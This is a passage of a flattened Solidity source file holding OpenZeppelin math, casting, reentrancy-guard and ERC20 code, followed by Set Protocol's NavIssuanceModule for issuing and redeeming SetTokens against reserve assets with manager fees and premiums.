modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // Dependency file: @openzeppelin/contracts/utils/SafeCast.sol // pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow * checks. * * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing * all math on `uint256` and `int256` and then downcasting. */ library SafeCast { /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits */ function toUint128(uint256 value) internal pure returns (uint128) { require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits"); return uint128(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits */ function toUint64(uint256 value) internal pure returns (uint64) { require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits"); return uint64(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits */ function toUint32(uint256 value) internal pure returns (uint32) { require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits"); return uint32(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits */ function toUint16(uint256 value) internal pure returns (uint16) { require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits"); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits. */ function toUint8(uint256 value) internal pure returns (uint8) { require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits"); return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. */ function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } /** * @dev Returns the downcasted int128 from int256, reverting on * overflow (when the input is less than smallest int128 or * greater than largest int128). * * Counterpart to Solidity's `int128` operator. * * Requirements: * * - input must fit into 128 bits * * _Available since v3.1._ */ function toInt128(int256 value) internal pure returns (int128) { require(value >= -2**127 && value < 2**127, "SafeCast: value doesn\'t fit in 128 bits"); return int128(value); } /** * @dev Returns the downcasted int64 from int256, reverting on * overflow (when the input is less than smallest int64 or * greater than largest int64). * * Counterpart to Solidity's `int64` operator. * * Requirements: * * - input must fit into 64 bits * * _Available since v3.1._ */ function toInt64(int256 value) internal pure returns (int64) { require(value >= -2**63 && value < 2**63, "SafeCast: value doesn\'t fit in 64 bits"); return int64(value); } /** * @dev Returns the downcasted int32 from int256, reverting on * overflow (when the input is less than smallest int32 or * greater than largest int32). * * Counterpart to Solidity's `int32` operator. * * Requirements: * * - input must fit into 32 bits * * _Available since v3.1._ */ function toInt32(int256 value) internal pure returns (int32) { require(value >= -2**31 && value < 2**31, "SafeCast: value doesn\'t fit in 32 bits"); return int32(value); } /** * @dev Returns the downcasted int16 from int256, reverting on * overflow (when the input is less than smallest int16 or * greater than largest int16). * * Counterpart to Solidity's `int16` operator. * * Requirements: * * - input must fit into 16 bits * * _Available since v3.1._ */ function toInt16(int256 value) internal pure returns (int16) { require(value >= -2**15 && value < 2**15, "SafeCast: value doesn\'t fit in 16 bits"); return int16(value); } /** * @dev Returns the downcasted int8 from int256, reverting on * overflow (when the input is less than smallest int8 or * greater than largest int8). * * Counterpart to Solidity's `int8` operator. * * Requirements: * * - input must fit into 8 bits. * * _Available since v3.1._ */ function toInt8(int256 value) internal pure returns (int8) { require(value >= -2**7 && value < 2**7, "SafeCast: value doesn\'t fit in 8 bits"); return int8(value); } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. */ function toInt256(uint256 value) internal pure returns (int256) { require(value < 2**255, "SafeCast: value doesn't fit in an int256"); return int256(value); } } // Dependency file: @openzeppelin/contracts/utils/ReentrancyGuard.sol // pragma solidity ^0.6.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // Dependency file: @openzeppelin/contracts/token/ERC20/ERC20.sol // pragma solidity ^0.6.0; // import "../../GSN/Context.sol"; // import "./IERC20.sol"; // import "../../math/SafeMath.sol"; // import "../../utils/Address.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.6.10; pragma experimental "ABIEncoderV2"; // import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; // import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; // import { ReentrancyGuard } from "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; // import { SafeCast } from "@openzeppelin/contracts/utils/SafeCast.sol"; // import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; // import { SignedSafeMath } from "@openzeppelin/contracts/math/SignedSafeMath.sol"; // import { AddressArrayUtils } from "../../lib/AddressArrayUtils.sol"; // import { IController } from "../../interfaces/IController.sol"; // import { INAVIssuanceHook } from "../../interfaces/INAVIssuanceHook.sol"; // import { Invoke } from "../lib/Invoke.sol"; // import { ISetToken } from "../../interfaces/ISetToken.sol"; // import { IWETH } from "../../interfaces/external/IWETH.sol"; // import { ModuleBase } from "../lib/ModuleBase.sol"; // import { Position } from "../lib/Position.sol"; // import { PreciseUnitMath } from "../../lib/PreciseUnitMath.sol"; // import { ResourceIdentifier } from "../lib/ResourceIdentifier.sol"; /** * @title NavIssuanceModule * @author Set Protocol * * Module that enables issuance and redemption with any valid ERC20 token or ETH if allowed by the manager. Sender receives * a proportional amount of SetTokens on issuance or ERC20 token on redemption based on the calculated net asset value using * oracle prices. Manager is able to enforce a premium / discount on issuance / redemption to avoid arbitrage and front * running when relying on oracle prices. Managers can charge a fee (denominated in reserve asset). */ contract NavIssuanceModule is ModuleBase, ReentrancyGuard { using AddressArrayUtils for address[]; using Invoke for ISetToken; using Position for ISetToken; using PreciseUnitMath for uint256; using PreciseUnitMath for int256; using ResourceIdentifier for IController; using SafeMath for uint256; using SafeCast for int256; using SafeCast for uint256; using SignedSafeMath for int256; /* ============ Events ============ */ event SetTokenNAVIssued( address indexed _setToken, address _issuer, address _to, address _reserveAsset, address _hookContract, uint256 _setTokenQuantity, uint256 _managerFee, uint256 _premium ); event SetTokenNAVRedeemed( address indexed _setToken, address _redeemer, address _to, address _reserveAsset, address _hookContract, uint256 _setTokenQuantity, uint256 _managerFee, uint256 _premium ); /* ============ Structs ============ */ struct NAVIssuanceSettings { INAVIssuanceHook managerIssuanceHook; // Issuance hook configurations INAVIssuanceHook managerRedemptionHook; // Redemption hook configurations address[] reserveAssets; // Allowed reserve assets - Must have a price enabled with the price oracle address feeRecipient; // Manager fee recipient uint256[2] managerFees; // Manager fees. 0 index is issue and 1 index is redeem fee (0.01% = 1e14, 1% = 1e16) uint256 maxManagerFee; // Maximum fee manager is allowed to set for issue and redeem uint256 premiumPercentage; // Premium percentage (0.01% = 1e14, 1% = 1e16). This premium is a buffer around oracle // prices paid by user to the SetToken, which prevents arbitrage and oracle front running uint256 maxPremiumPercentage; // Maximum premium percentage manager is allowed to set (configured by manager) uint256 minSetTokenSupply; // Minimum SetToken supply required for issuance and redemption // to prevent dramatic inflationary changes to the SetToken's position multiplier } struct ActionInfo { uint256 preFeeReserveQuantity; // Reserve value before fees; During issuance, represents raw quantity // During redeem, represents post-premium value uint256 protocolFees; // Total protocol fees (direct + manager revenue share) uint256 managerFee; // Total manager fee paid in reserve asset uint256 netFlowQuantity; // When issuing, quantity of reserve asset sent to SetToken // When redeeming, quantity of reserve asset sent to redeemer uint256 setTokenQuantity; // When issuing, quantity of SetTokens minted to mintee // When redeeming, quantity of SetToken redeemed uint256 previousSetTokenSupply; // SetToken supply prior to issue/redeem action uint256 newSetTokenSupply; // SetToken supply after issue/redeem action int256 newPositionMultiplier; // SetToken position multiplier after issue/redeem uint256 newReservePositionUnit; // SetToken reserve asset position unit after issue/redeem } /* ============ State Variables ============ */ // Wrapped ETH address IWETH public weth; // Mapping of SetToken to NAV issuance settings struct mapping(ISetToken => NAVIssuanceSettings) public navIssuanceSettings; // Mapping to efficiently check a SetToken's reserve asset validity // SetToken => reserveAsset => isReserveAsset mapping(ISetToken => mapping(address => bool)) public isReserveAsset; /* ============ Constants ============ */ // 0 index stores the manager fee percentage charged in issue (denominated in reserve asset) uint256 constant internal MANAGER_ISSUE_FEE_INDEX = 0; // 1 index stores the manager fee percentage charged in redeem uint256 constant internal MANAGER_REDEEM_FEE_INDEX = 1; // 0 index stores the manager revenue share protocol fee % charged in the issuance function uint256 constant internal PROTOCOL_ISSUE_MANAGER_REVENUE_SHARE_FEE_INDEX = 0; // 1 index stores the manager revenue share protocol fee % charged in the redeem function uint256 constant internal PROTOCOL_REDEEM_MANAGER_REVENUE_SHARE_FEE_INDEX = 1; // 2 index stores the direct protocol fee % charged in the issuance function uint256 constant internal PROTOCOL_ISSUE_DIRECT_FEE_INDEX = 2; // 3 index stores the direct protocol fee % charged in the redeem function uint256 constant internal PROTOCOL_REDEEM_DIRECT_FEE_INDEX = 3; /* ============ Constructor ============ */ /** * @param _controller Address of controller contract * @param _weth Address of wrapped eth */ constructor(IController _controller, IWETH _weth) public ModuleBase(_controller) { weth = _weth; } /* ============ External Functions ============ */ /** * Deposits the allowed reserve asset into the SetToken and mints the appropriate % of Net Asset Value of the SetToken * to the specified _to address. * * @param _setToken Instance of the SetToken contract * @param _reserveAsset Address of the reserve asset to issue with * @param _reserveAssetQuantity Quantity of the reserve asset to issue with * @param _minSetTokenReceiveQuantity Min quantity of SetToken to receive after issuance * @param _to Address to mint SetToken to */ function issue( ISetToken _setToken, address _reserveAsset, uint256 _reserveAssetQuantity, uint256 _minSetTokenReceiveQuantity, address _to ) external nonReentrant onlyValidAndInitializedSet(_setToken) { _validateCommon(_setToken, _reserveAsset, _reserveAssetQuantity); _callPreIssueHooks(_setToken, _reserveAsset, _reserveAssetQuantity, msg.sender, _to); ActionInfo memory issueInfo = _getIssuanceInfo(_setToken, _reserveAsset, _reserveAssetQuantity); _validateIssuanceInfo(_setToken, _minSetTokenReceiveQuantity, issueInfo); _transferCollateralAndHandleFees(_setToken, IERC20(_reserveAsset), issueInfo); _handleIssueStateUpdates(_setToken, _reserveAsset, _to, issueInfo); } /** * Wraps ETH and deposits WETH if allowed into the SetToken and mints the appropriate % of Net Asset Value of the SetToken * to the specified _to address. * * @param _setToken Instance of the SetToken contract * @param _minSetTokenReceiveQuantity Min quantity of SetToken to receive after issuance * @param _to Address to mint SetToken to */ function issueWithEther( ISetToken _setToken, uint256 _minSetTokenReceiveQuantity, address _to ) external payable nonReentrant onlyValidAndInitializedSet(_setToken) { weth.deposit{ value: msg.value }(); _validateCommon(_setToken, address(weth), msg.value); _callPreIssueHooks(_setToken, address(weth), msg.value, msg.sender, _to); ActionInfo memory issueInfo = _getIssuanceInfo(_setToken, address(weth), msg.value); _validateIssuanceInfo(_setToken, _minSetTokenReceiveQuantity, issueInfo); _transferWETHAndHandleFees(_setToken, issueInfo); _handleIssueStateUpdates(_setToken, address(weth), _to, issueInfo); } /** * Redeems a SetToken into a valid reserve asset representing the appropriate % of Net Asset Value of the SetToken * to the specified _to address. Only valid if there are available reserve units on the SetToken. * * @param _setToken Instance of the SetToken contract * @param _reserveAsset Address of the reserve asset to redeem with * @param _setTokenQuantity Quantity of SetTokens to redeem * @param _minReserveReceiveQuantity Min quantity of reserve asset to receive * @param _to Address to redeem reserve asset to */ function redeem( ISetToken _setToken, address _reserveAsset, uint256 _setTokenQuantity, uint256 _minReserveReceiveQuantity, address _to ) external nonReentrant onlyValidAndInitializedSet(_setToken) { _validateCommon(_setToken, _reserveAsset, _setTokenQuantity); _callPreRedeemHooks(_setToken, _setTokenQuantity, msg.sender, _to); ActionInfo memory redeemInfo = _getRedemptionInfo(_setToken, _reserveAsset, _setTokenQuantity); _validateRedemptionInfo(_setToken, _minReserveReceiveQuantity, _setTokenQuantity, redeemInfo); _setToken.burn(msg.sender, _setTokenQuantity); // Instruct the SetToken to transfer the reserve asset back to the user _setToken.strictInvokeTransfer( _reserveAsset, _to, redeemInfo.netFlowQuantity ); _handleRedemptionFees(_setToken, _reserveAsset, redeemInfo); _handleRedeemStateUpdates(_setToken, _reserveAsset, _to, redeemInfo); } /** * Redeems a SetToken into Ether (if WETH is valid) representing the appropriate % of Net Asset Value of the SetToken * to the specified _to address. Only valid if there are available WETH units on the SetToken. * * @param _setToken Instance of the SetToken contract * @param _setTokenQuantity Quantity of SetTokens to redeem * @param _minReserveReceiveQuantity Min quantity of reserve asset to receive * @param _to Address to redeem reserve asset to */ function redeemIntoEther( ISetToken _setToken, uint256 _setTokenQuantity, uint256 _minReserveReceiveQuantity, address payable _to ) external nonReentrant onlyValidAndInitializedSet(_setToken) { _validateCommon(_setToken, address(weth), _setTokenQuantity); _callPreRedeemHooks(_setToken, _setTokenQuantity, msg.sender, _to); ActionInfo memory redeemInfo = _getRedemptionInfo(_setToken, address(weth), _setTokenQuantity); _validateRedemptionInfo(_setToken, _minReserveReceiveQuantity, _setTokenQuantity, redeemInfo); _setToken.burn(msg.sender, _setTokenQuantity); // Instruct the SetToken to transfer WETH from SetToken to module _setToken.strictInvokeTransfer( address(weth), address(this), redeemInfo.netFlowQuantity ); weth.withdraw(redeemInfo.netFlowQuantity); _to.transfer(redeemInfo.netFlowQuantity); _handleRedemptionFees(_setToken, address(weth), redeemInfo); _handleRedeemStateUpdates(_setToken, address(weth), _to, redeemInfo); } /** * SET MANAGER ONLY. Add an allowed reserve asset * * @param _setToken Instance of the SetToken * @param _reserveAsset Address of the reserve asset to add */ function addReserveAsset(ISetToken _setToken, address _reserveAsset) external onlyManagerAndValidSet(_setToken) { require(!isReserveAsset[_setToken][_reserveAsset], "Reserve asset already exists"); navIssuanceSettings[_setToken].reserveAssets.push(_reserveAsset); isReserveAsset[_setToken][_reserveAsset] = true; } /** * SET MANAGER ONLY. Remove a reserve asset * * @param _setToken Instance of the SetToken * @param _reserveAsset Address of the reserve asset to remove */ function removeReserveAsset(ISetToken _setToken, address _reserveAsset) external onlyManagerAndValidSet(_setToken) { require(isReserveAsset[_setToken][_reserveAsset], "Reserve asset does not exist"); navIssuanceSettings[_setToken].reserveAssets = navIssuanceSettings[_setToken].reserveAssets.remove(_reserveAsset); delete isReserveAsset[_setToken][_reserveAsset]; } /** * SET MANAGER ONLY. Edit the premium percentage * * @param _setToken Instance of the SetToken * @param _premiumPercentage Premium percentage in 10e16 (e.g. 10e16 = 1%) */ function editPremium(ISetToken _setToken, uint256 _premiumPercentage) external onlyManagerAndValidSet(_setToken) { require(_premiumPercentage < navIssuanceSettings[_setToken].maxPremiumPercentage, "Premium must be less than maximum allowed"); navIssuanceSettings[_setToken].premiumPercentage = _premiumPercentage; } /** * SET MANAGER ONLY. Edit manager fee * * @param _setToken Instance of the SetToken * @param _managerFeePercentage Manager fee percentage in 10e16 (e.g. 10e16 = 1%) * @param _managerFeeIndex Manager fee index. 0 index is issue fee, 1 index is redeem fee */ function editManagerFee( ISetToken _setToken, uint256 _managerFeePercentage, uint256 _managerFeeIndex ) external onlyManagerAndValidSet(_setToken) { require(_managerFeePercentage < navIssuanceSettings[_setToken].maxManagerFee, "Manager fee must be less than maximum allowed"); navIssuanceSettings[_setToken].managerFees[_managerFeeIndex] = _managerFeePercentage; } /** * SET MANAGER ONLY. Edit the manager fee recipient * * @param _setToken Instance of the SetToken * @param _managerFeeRecipient Manager fee recipient */ function editFeeRecipient(ISetToken _setToken, address _managerFeeRecipient) external onlyManagerAndValidSet(_setToken) { require(_managerFeeRecipient != address(0), "Fee recipient must not be 0 address"); navIssuanceSettings[_setToken].feeRecipient = _managerFeeRecipient; } /** * SET MANAGER ONLY. Initializes this module to the SetToken with hooks, allowed reserve assets, * fees and issuance premium. Only callable by the SetToken's manager. Hook addresses are optional. * Address(0) means that no hook will be called. * * @param _setToken Instance of the SetToken to issue * @param _navIssuanceSettings NAVIssuanceSettings struct defining parameters */ function initialize( ISetToken _setToken, NAVIssuanceSettings memory _navIssuanceSettings ) external onlySetManager(_setToken, msg.sender) onlyValidAndPendingSet(_setToken) { require(_navIssuanceSettings.reserveAssets.length > 0, "Reserve assets must be greater than 0"); require(_navIssuanceSettings.maxManagerFee < PreciseUnitMath.preciseUnit(), "Max manager fee must be less than 100%"); require(_navIssuanceSettings.maxPremiumPercentage < PreciseUnitMath.preciseUnit(), "Max premium percentage must be less than 100%"); require(_navIssuanceSettings.managerFees[0] <= _navIssuanceSettings.maxManagerFee, "Manager issue fee must be less than max"); require(_navIssuanceSettings.managerFees[1] <= _navIssuanceSettings.maxManagerFee, "Manager redeem fee must be less than max"); require(_navIssuanceSettings.premiumPercentage <= _navIssuanceSettings.maxPremiumPercentage, "Premium must be less than max"); require(_navIssuanceSettings.feeRecipient != address(0), "Fee Recipient must be non-zero address."); // Initial mint of Set cannot use NAVIssuance since minSetTokenSupply must be > 0 require(_navIssuanceSettings.minSetTokenSupply > 0, "Min SetToken supply must be greater than 0"); for (uint256 i = 0; i < _navIssuanceSettings.reserveAssets.length; i++) { isReserveAsset[_setToken][_navIssuanceSettings.reserveAssets[i]] = true; } navIssuanceSettings[_setToken] = _navIssuanceSettings; _setToken.initializeModule(); } /** * Removes this module from the SetToken, via call by the SetToken. Issuance settings and * reserve asset states are deleted. */ function removeModule() external override { ISetToken setToken = ISetToken(msg.sender); for (uint256 i = 0; i < navIssuanceSettings[setToken].reserveAssets.length; i++) { delete isReserveAsset[setToken][navIssuanceSettings[setToken].reserveAssets[i]]; } delete navIssuanceSettings[setToken]; } receive() external payable {} /* ============ External Getter Functions ============ */ function getReserveAssets(ISetToken _setToken) external view returns (address[] memory) { return navIssuanceSettings[_setToken].reserveAssets; } function isValidReserveAsset(ISetToken _setToken, address _reserveAsset) external view returns (bool) { return isReserveAsset[_setToken][_reserveAsset]; } function getIssuePremium( ISetToken _setToken, address _reserveAsset, uint256 _reserveAssetQuantity ) external view returns (uint256) { return _getIssuePremium(_setToken, _reserveAsset, _reserveAssetQuantity); } function getRedeemPremium( ISetToken _setToken, address _reserveAsset, uint256 _setTokenQuantity ) external view returns (uint256) { return _getRedeemPremium(_setToken, _reserveAsset, _setTokenQuantity); } function getManagerFee(ISetToken _setToken, uint256 _managerFeeIndex) external view returns (uint256) { return navIssuanceSettings[_setToken].managerFees[_managerFeeIndex]; } /** * Get the expected SetTokens minted to recipient on issuance * * @param _setToken Instance of the SetToken * @param _reserveAsset Address of the reserve asset * @param _reserveAssetQuantity Quantity of the reserve asset to issue with * * @return uint256 Expected SetTokens to be minted to recipient */ function getExpectedSetTokenIssueQuantity( ISetToken _setToken, address _reserveAsset, uint256 _reserveAssetQuantity ) external view returns (uint256) { (,, uint256 netReserveFlow) = _getFees( _setToken, _reserveAssetQuantity, PROTOCOL_ISSUE_MANAGER_REVENUE_SHARE_FEE_INDEX, PROTOCOL_ISSUE_DIRECT_FEE_INDEX, MANAGER_ISSUE_FEE_INDEX ); uint256 setTotalSupply = _setToken.totalSupply(); return _getSetTokenMintQuantity( _setToken, _reserveAsset, netReserveFlow, setTotalSupply ); } /** * Get the expected reserve asset to be redeemed * * @param _setToken Instance of the SetToken * @param _reserveAsset Address of the reserve asset * @param _setTokenQuantity Quantity of SetTokens to redeem * * @return uint256 Expected reserve asset quantity redeemed */ function getExpectedReserveRedeemQuantity( ISetToken _setToken, address _reserveAsset, uint256 _setTokenQuantity ) external view returns (uint256) { uint256 preFeeReserveQuantity = _getRedeemReserveQuantity(_setToken, _reserveAsset, _setTokenQuantity); (,, uint256 netReserveFlows) = _getFees( _setToken, preFeeReserveQuantity, PROTOCOL_REDEEM_MANAGER_REVENUE_SHARE_FEE_INDEX, PROTOCOL_REDEEM_DIRECT_FEE_INDEX, MANAGER_REDEEM_FEE_INDEX ); return netReserveFlows; } /** * Checks if issue is valid * * @param _setToken Instance of the SetToken * @param _reserveAsset Address of the reserve asset * @param _reserveAssetQuantity Quantity of the reserve asset to issue with * * @return bool Returns true if issue is valid */ function isIssueValid( 